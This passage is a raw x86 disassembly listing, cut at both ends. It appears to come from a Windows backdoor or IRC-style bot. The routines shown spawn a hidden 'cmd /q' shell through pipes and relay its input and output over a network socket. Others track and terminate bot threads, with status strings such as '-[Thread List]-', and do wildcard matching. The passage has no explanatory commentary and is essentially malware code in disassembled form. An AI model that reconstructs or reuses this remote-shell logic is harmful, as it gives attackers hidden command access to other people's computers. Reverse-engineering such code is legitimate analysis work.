RtlGetLastWin32Error push eax push offset dword_42F004 call sub_40A627 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call ds:dword_422150 ; TerminateThread loc_414AD9: ; CODE XREF: sub_414A34+69j xor eax, eax jmp loc_414B80 ; --------------------------------------------------------------------------- loc_414AE0: ; CODE XREF: sub_414A34+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call ds:dword_422168 ; WaitForMultipleObjects sub eax, ebx jz short loc_414B3A dec eax jz short loc_414B34 dec eax jz short loc_414B20 call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42EFC0 call sub_40A627 pop ecx pop ecx jmp short loc_414B4F ; --------------------------------------------------------------------------- loc_414B20: ; CODE XREF: sub_414A34+D5j mov edi, ds:dword_422150 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_414B4F ; --------------------------------------------------------------------------- loc_414B34: ; CODE XREF: sub_414A34+D2j push ebx push dword ptr [esi+10h] jmp short loc_414B3E ; --------------------------------------------------------------------------- loc_414B3A: ; CODE XREF: sub_414A34+CFj push ebx push dword ptr [esi+14h] loc_414B3E: ; CODE XREF: sub_414A34+104j call ds:dword_422150 ; TerminateThread push 1 push dword ptr [esi+8] call ds:dword_422158 ; TerminateProcess loc_414B4F: ; CODE XREF: sub_414A34+EAj ; sub_414A34+FEj push dword ptr [esi+10h] mov edi, ds:off_422074 call edi ; sub_4DB3D5 push dword ptr [esi+14h] call edi ; sub_4DB3D5 push dword ptr [esi+8] call edi ; sub_4DB3D5 push dword ptr [esi] call edi ; sub_4DB3D5 push dword ptr [esi+4] call edi ; sub_4DB3D5 push dword ptr [esi+0Ch] call ds:dword_436500 ; closesocket push esi call sub_415DE1 pop ecx push 1 pop eax loc_414B80: ; CODE XREF: sub_414A34+A7j pop edi pop esi pop ebx leave retn sub_414A34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B85 proc near ; CODE XREF: sub_414A34+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_415D2F mov esi, eax pop ecx cmp esi, edi jz loc_414C6F mov ebx, ds:dword_422120 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, ds:off_422074 test eax, eax jnz short loc_414BE8 call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42F0E4 jmp short loc_414C08 ; --------------------------------------------------------------------------- loc_414BE8: ; CODE XREF: sub_414B85+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_414C10 call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42F094 loc_414C08: ; CODE XREF: sub_414B85+61j call sub_40A627 pop ecx jmp short loc_414C3E ; --------------------------------------------------------------------------- loc_414C10: ; CODE XREF: sub_414B85+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_414C7E add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; sub_4DB3D5 push [ebp+var_8] call edi ; sub_4DB3D5 cmp dword ptr [esi+8], 0 jnz short loc_414C73 push offset dword_42F05C call sub_40A5B3 loc_414C3E: ; CODE XREF: sub_414B85+89j cmp [ebp+var_4], 0 pop ecx jz short loc_414C4A push [ebp+var_4] call edi ; sub_4DB3D5 loc_414C4A: ; CODE XREF: sub_414B85+BEj cmp [ebp+var_8], 0 jz short loc_414C55 push [ebp+var_8] call edi ; sub_4DB3D5 loc_414C55: ; CODE XREF: sub_414B85+C9j mov eax, [esi] test eax, eax jz short loc_414C5E push eax call edi ; sub_4DB3D5 loc_414C5E: ; CODE XREF: sub_414B85+D4j mov eax, [esi+4] test eax, eax jz short loc_414C68 push eax call edi ; sub_4DB3D5 loc_414C68: ; CODE XREF: sub_414B85+DEj push esi call sub_415DE1 pop ecx loc_414C6F: ; CODE XREF: sub_414B85+1Dj xor eax, eax jmp short loc_414C79 ; --------------------------------------------------------------------------- loc_414C73: ; CODE XREF: sub_414B85+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_414C79: ; CODE XREF: sub_414B85+ECj pop edi pop esi pop ebx leave retn sub_414B85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C7E proc near ; CODE XREF: sub_414B85+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_415500 push 10h lea eax, [ebp+var_14] push esi push eax call sub_415500 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, ds:dword_42211C push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call ds:dword_422118 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call ds:dword_422104 ; CreateProcessA test eax, eax jz short loc_414D3A mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov ds:dword_43BEC8[eax], ecx call ds:off_422074 jmp short loc_414D50 ; --------------------------------------------------------------------------- loc_414D3A: ; CODE XREF: sub_414C7E+9Aj call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42F134 call sub_40A627 mov esi, [ebp+var_4] pop ecx pop ecx loc_414D50: ; CODE XREF: sub_414C7E+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_414C7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414D57 proc near ; DATA XREF: sub_414A34+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, ds:off_422098 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_414D80: ; CODE XREF: sub_414D57+8Fj call ebx ; sub_4DB3FC test eax, eax jz short loc_414DE8 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_414DBB loc_414D91: ; CODE XREF: sub_414D57+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_414DAB cmp dl, 0Dh jz short loc_414DAB mov [ebp+eax+var_1B0], 0Dh inc eax loc_414DAB: ; CODE XREF: sub_414D57+44j ; sub_414D57+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_414D91 loc_414DBB: ; CODE XREF: sub_414D57+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call ds:dword_4364B8 ; send test eax, eax jle short loc_414DE8 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_414D80 ; --------------------------------------------------------------------------- loc_414DE8: ; CODE XREF: sub_414D57+2Dj ; sub_414D57+79j mov esi, ds:dword_42206C call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_414E04 call esi ; RtlGetLastWin32Error push eax push offset dword_42F180 call sub_40A627 pop ecx pop ecx loc_414E04: ; CODE XREF: sub_414D57+9Cj pop edi pop esi pop ebx leave retn sub_414D57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E09 proc near ; DATA XREF: sub_414A34+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_414E22: ; CODE XREF: sub_414E09+39j ; sub_414E09+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call ds:dword_436480 ; recv test eax, eax jle loc_414F27 cmp [ebp+var_10], ebx jbe short loc_414E44 dec [ebp+var_10] jmp short loc_414E22 ; --------------------------------------------------------------------------- loc_414E44: ; CODE XREF: sub_414E09+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_414F07 cmp al, 8 mov [ebp+var_C], ebx jz short loc_414EB4 cmp al, 7Fh jz short loc_414EB4 cmp al, 3 jnz short loc_414E6F push ebx push ebx call ds:dword_42216C ; GenerateConsoleCtrlEvent jmp short loc_414EDB ; --------------------------------------------------------------------------- loc_414E6F: ; CODE XREF: sub_414E09+5Aj cmp al, 15h jnz short loc_414E91 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_414EC7 ; --------------------------------------------------------------------------- loc_414E91: ; CODE XREF: sub_414E09+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_414EC8 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_414EC7 ; --------------------------------------------------------------------------- loc_414EB4: ; CODE XREF: sub_414E09+52j ; sub_414E09+56j cmp esi, ebx jbe short loc_414EDE dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_414EC7: ; CODE XREF: sub_414E09+86j ; sub_414E09+A9j pop ecx loc_414EC8: ; CODE XREF: sub_414E09+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call ds:dword_4364B8 ; send test eax, eax jle short loc_414F27 loc_414EDB: ; CODE XREF: sub_414E09+64j mov al, byte ptr [ebp+arg_0+3] loc_414EDE: ; CODE XREF: sub_414E09+ADj cmp al, 0Dh jnz loc_414E22 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call ds:dword_4220B0 ; WriteFile test eax, eax jz short loc_414F27 xor esi, esi jmp loc_414E22 ; --------------------------------------------------------------------------- loc_414F07: ; CODE XREF: sub_414E09+47j cmp [ebp+var_C], ebx jnz short loc_414F18 mov [ebp+var_C], 1 jmp loc_414E22 ; --------------------------------------------------------------------------- loc_414F18: ; CODE XREF: sub_414E09+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_414E22 ; --------------------------------------------------------------------------- loc_414F27: ; CODE XREF: sub_414E09+2Bj ; sub_414E09+D0j ... pop edi pop esi pop ebx leave retn sub_414E09 endp ; =============== S U B R O U T I N E ======================================= sub_414F2C proc near ; CODE XREF: sub_404716+227p ; sub_405898+F0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43BCC0 loc_414F34: ; CODE XREF: sub_414F2C+18j cmp byte ptr [eax], 0 jz short loc_414F48 add eax, 234h inc edi cmp eax, offset dword_4C8CC0 jl short loc_414F34 jmp short loc_414F93 ; --------------------------------------------------------------------------- loc_414F48: ; CODE XREF: sub_414F2C+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43BCC0[esi] push eax call sub_416D30 mov eax, [esp+14h+arg_4] add esp, 0Ch mov ds:dword_43BEC0[esi], eax and ds:dword_43BEC4[esi], 0 mov eax, [esp+8+arg_8] and ds:dword_43BEC8[esi], 0 mov ds:dword_43BECC[esi], eax and ds:byte_43BED8[esi], 0 pop esi loc_414F93: ; CODE XREF: sub_414F2C+1Aj mov eax, edi pop edi retn sub_414F2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F97 proc near ; DATA XREF: sub_40D2E0+5C01o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_414FE9 push [ebp+var_14] call sub_415248 add esp, 14h push 0 call ds:dword_422044 ; ExitThread pop edi pop esi sub_414F97 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414FE9 proc near ; CODE XREF: sub_414F97+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h xor edi, edi mov esi, offset dword_43BCC0 loc_415013: ; CODE XREF: sub_414FE9+78j cmp byte ptr [esi], 0 jz short loc_415054 cmp [ebp+arg_C], 0 jnz short loc_415027 cmp dword ptr [esi+204h], 0 jnz short loc_415054 loc_415027: ; CODE XREF: sub_414FE9+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_415480 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 24h loc_415054: ; CODE XREF: sub_414FE9+2Dj ; sub_414FE9+3Cj add esi, 234h inc edi cmp esi, offset dword_4C8CC0 jl short loc_415013 pop edi pop esi leave retn sub_414FE9 endp ; =============== S U B R O U T I N E ======================================= sub_415067 proc near ; CODE XREF: sub_40D2E0+4DD9p ; sub_4150F5+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_4150EF cmp esi, 400h jge short loc_4150EF imul esi, 234h push edi push ebx push ds:dword_43BED4[esi] lea edi, dword_43BED4[esi] call ds:dword_422150 ; TerminateThread cmp [edi], ebx jz short loc_41509F push 1 pop ebp loc_41509F: ; CODE XREF: sub_415067+33j mov [edi], ebx lea edi, dword_43BEC8[esi] mov ds:dword_43BEC0[esi], ebx mov ds:dword_43BEC4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_4150C0 push eax call sub_413887 pop ecx loc_4150C0: ; CODE XREF: sub_415067+50j mov [edi], ebx lea edi, dword_43BECC[esi] mov byte ptr ds:dword_43BCC0[esi], bl mov ds:byte_43BED8[esi], bl push dword ptr [edi] call ds:dword_436500 ; closesocket lea esi, dword_43BED0[esi] mov [edi], ebx push dword ptr [esi] call ds:dword_436500 ; closesocket mov [esi], ebx pop edi loc_4150EF: ; CODE XREF: sub_415067+Dj ; sub_415067+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_415067 endp ; =============== S U B R O U T I N E ======================================= sub_4150F5 proc near ; CODE XREF: sub_409288:loc_4092ACp ; sub_40B9B9+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43BCC0 loc_415101: ; CODE XREF: sub_4150F5+2Aj cmp byte ptr [esi], 0 jz short loc_415112 push edi call sub_415067 test eax, eax pop ecx jz short loc_415112 inc ebx loc_415112: ; CODE XREF: sub_4150F5+Fj ; sub_4150F5+1Aj add esi, 234h inc edi cmp esi, offset dword_4C8CC0 jl short loc_415101 pop edi mov eax, ebx pop esi pop ebx retn sub_4150F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415127 proc near ; CODE XREF: sub_40D2E0+1E3Dp ; sub_40D2E0+1EABp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43BEC4 loc_41513B: ; CODE XREF: sub_415127+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_41515D test edi, edi jle short loc_41514F cmp [esi], edi jz short loc_41514F cmp ebx, edi jnz short loc_41515D loc_41514F: ; CODE XREF: sub_415127+1Ej ; sub_415127+22j push ebx call sub_415067 test eax, eax pop ecx jz short loc_41515D inc [ebp+var_4] loc_41515D: ; CODE XREF: sub_415127+1Aj ; sub_415127+26j ... add esi, 234h inc ebx cmp esi, offset dword_4C8EC4 jl short loc_41513B mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_415127 endp ; =============== S U B R O U T I N E ======================================= sub_415174 proc near ; CODE XREF: sub_405821+Bp ; sub_405898+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43BEC0 loc_41517B: ; CODE XREF: sub_415174+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_415184 inc eax loc_415184: ; CODE XREF: sub_415174+Dj add ecx, 234h cmp ecx, offset dword_4C8EC0 jl short loc_41517B retn sub_415174 endp ; =============== S U B R O U T I N E ======================================= sub_415193 proc near ; CODE XREF: sub_40D2E0+5698p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43BEC0 loc_41519D: ; CODE XREF: sub_415193+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_4151B6 add ecx, 234h inc edx cmp ecx, offset dword_4C8EC0 jl short loc_41519D pop esi retn ; --------------------------------------------------------------------------- loc_4151B6: ; CODE XREF: sub_415193+10j mov eax, edx pop esi retn sub_415193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151BA proc near ; CODE XREF: sub_40D2E0+1070p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_4151D3 push [ebp+arg_1C] call sub_4159EF pop ecx loc_4151D3: ; CODE XREF: sub_4151BA+Ej push eax push [ebp+arg_18] call sub_415127 pop ecx test eax, eax pop ecx jle short loc_4151FF push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_415480 add esp, 14h jmp short loc_415219 ; --------------------------------------------------------------------------- loc_4151FF: ; CODE XREF: sub_4151BA+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_415480 add esp, 10h loc_415219: ; CODE XREF: sub_4151BA+43j cmp [ebp+arg_C], 0 jnz short loc_415239 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_415239: ; CODE XREF: sub_4151BA+63j lea eax, [ebp+var_200] push eax call sub_40A5B3 pop ecx leave retn sub_4151BA endp ; =============== S U B R O U T I N E ======================================= sub_415248 proc near ; CODE XREF: sub_401000+A5p ; sub_40144A+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov ds:dword_43BED4[eax], ecx mov ds:dword_43BEC0[eax], ecx mov ds:dword_43BEC4[eax], ecx mov ds:dword_43BEC8[eax], ecx mov ds:dword_43BECC[eax], ecx mov ds:dword_43BED0[eax], ecx mov byte ptr ds:dword_43BCC0[eax], cl mov ds:byte_43BED8[eax], cl retn sub_415248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415285 proc near ; CODE XREF: sub_40D2E0+6189p ; sub_4153B3+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_41528F: ; CODE XREF: sub_415285+68j mov cl, [esi] test cl, cl jz short loc_4152EF cmp eax, 1 jnz short loc_4152EF mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_4152EF cmp cl, 2Ah jz short loc_4152D6 cmp cl, 3Fh jz short loc_4152B9 cmp cl, 5Bh jz short loc_4152BE xor eax, eax cmp cl, dl setz al loc_4152B9: ; CODE XREF: sub_415285+26j inc [ebp+arg_4] jmp short loc_4152E9 ; --------------------------------------------------------------------------- loc_4152BE: ; CODE XREF: sub_415285+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_41531B mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_4152E9 ; --------------------------------------------------------------------------- loc_4152D6: ; CODE XREF: sub_415285+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4153B3 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_4152E9: ; CODE XREF: sub_415285+37j ; sub_415285+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_41528F ; --------------------------------------------------------------------------- loc_4152EF: ; CODE XREF: sub_415285+Ej ; sub_415285+13j ... cmp byte ptr [esi], 2Ah jnz short loc_4152FF cmp eax, 1 jnz short loc_415316 inc esi mov [ebp+arg_0], esi jmp short loc_4152EF ; --------------------------------------------------------------------------- loc_4152FF: ; CODE XREF: sub_415285+6Dj cmp eax, 1 jnz short loc_415316 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_415316 cmp byte ptr [esi], 0 jnz short loc_415316 push 1 pop eax jmp short loc_415318 ; --------------------------------------------------------------------------- loc_415316: ; CODE XREF: sub_415285+72j ; sub_415285+7Dj ... xor eax, eax loc_415318: ; CODE XREF: sub_415285+8Fj pop esi pop ebp retn sub_415285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41531B proc near ; CODE XREF: sub_415285+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_41533C inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_41533C: ; CODE XREF: sub_41531B+19j push ebx push esi loc_41533E: ; CODE XREF: sub_41531B+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_41534C cmp [ebp+var_4], eax jnz short loc_415398 loc_41534C: ; CODE XREF: sub_41531B+2Aj test edi, edi jnz short loc_41538D cmp bl, 2Dh jnz short loc_415381 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_415381 cmp al, 5Dh jz short loc_415381 cmp [ebp+var_4], edi jnz short loc_415381 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_41538D cmp bl, al jg short loc_41538D push 1 mov [edx], esi pop edi jmp short loc_41538D ; --------------------------------------------------------------------------- loc_415381: ; CODE XREF: sub_41531B+38j ; sub_41531B+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_41538D push 1 pop edi loc_41538D: ; CODE XREF: sub_41531B+33j ; sub_41531B+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_41533E ; --------------------------------------------------------------------------- loc_415398: ; CODE XREF: sub_41531B+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4153A5 mov ecx, eax sub ecx, edi mov edi, ecx loc_4153A5: ; CODE XREF: sub_41531B+82j cmp edi, eax jnz short loc_4153AE mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4153AE: ; CODE XREF: sub_41531B+8Cj mov eax, edi pop edi leave retn sub_41531B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153B3 proc near ; CODE XREF: sub_415285+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4153CF: ; CODE XREF: sub_4153B3+3Aj cmp [eax], bl jz short loc_4153EF mov cl, [ecx] cmp cl, 3Fh jz short loc_4153E4 cmp cl, 2Ah jnz short loc_4153EF cmp cl, 3Fh jnz short loc_4153E7 loc_4153E4: ; CODE XREF: sub_4153B3+25j inc eax mov [edi], eax loc_4153E7: ; CODE XREF: sub_4153B3+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4153CF ; --------------------------------------------------------------------------- loc_4153EF: ; CODE XREF: sub_4153B3+1Ej ; sub_4153B3+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_4153FA inc dword ptr [esi] jmp short loc_4153EF ; --------------------------------------------------------------------------- loc_4153FA: ; CODE XREF: sub_4153B3+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_41541B mov edx, [esi] cmp [edx], bl jz short loc_41540C xor eax, eax jmp short loc_41547B ; --------------------------------------------------------------------------- loc_41540C: ; CODE XREF: sub_4153B3+53j cmp cl, bl jnz short loc_41541B mov ecx, [esi] cmp [ecx], bl jnz short loc_41541B push 1 pop eax jmp short loc_41547B ; --------------------------------------------------------------------------- loc_41541B: ; CODE XREF: sub_4153B3+4Dj ; sub_4153B3+5Bj ... push eax push dword ptr [esi] call sub_415285 pop ecx test eax, eax pop ecx jnz short loc_415465 loc_415429: ; CODE XREF: sub_4153B3+B0j inc dword ptr [edi] mov eax, [edi] loc_41542D: ; CODE XREF: sub_4153B3+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_415445 cmp cl, 5Bh jz short loc_415445 cmp dl, bl jz short loc_415445 inc eax mov [edi], eax jmp short loc_41542D ; --------------------------------------------------------------------------- loc_415445: ; CODE XREF: sub_4153B3+82j ; sub_4153B3+87j ... mov eax, [edi] cmp [eax], bl jz short loc_41545C push eax push dword ptr [esi] call sub_415285 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_415461 ; --------------------------------------------------------------------------- loc_41545C: ; CODE XREF: sub_4153B3+96j mov [ebp+var_4], ebx xor eax, eax loc_415461: ; CODE XREF: sub_4153B3+A7j cmp eax, ebx jnz short loc_415429 loc_415465: ; CODE XREF: sub_4153B3+74j mov eax, [edi] cmp [eax], bl jnz short loc_415478 mov eax, [esi] cmp [eax], bl jnz short loc_415478 mov [ebp+var_4], 1 loc_415478: ; CODE XREF: sub_4153B3+B6j ; sub_4153B3+BCj mov eax, [ebp+var_4] loc_41547B: ; CODE XREF: sub_4153B3+57j ; sub_4153B3+66j pop edi pop esi pop ebx leave retn sub_4153B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415480 proc near ; CODE XREF: sub_401000+64p ; sub_4010B5+308p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_417F58 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4154C0 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4154CD ; --------------------------------------------------------------------------- loc_4154C0: ; CODE XREF: sub_415480+36j lea eax, [ebp+var_20] push eax push 0 call sub_417E43 pop ecx pop ecx loc_4154CD: ; CODE XREF: sub_415480+3Ej mov eax, esi pop esi leave retn sub_415480 endp ; =============== S U B R O U T I N E ======================================= sub_4154D2 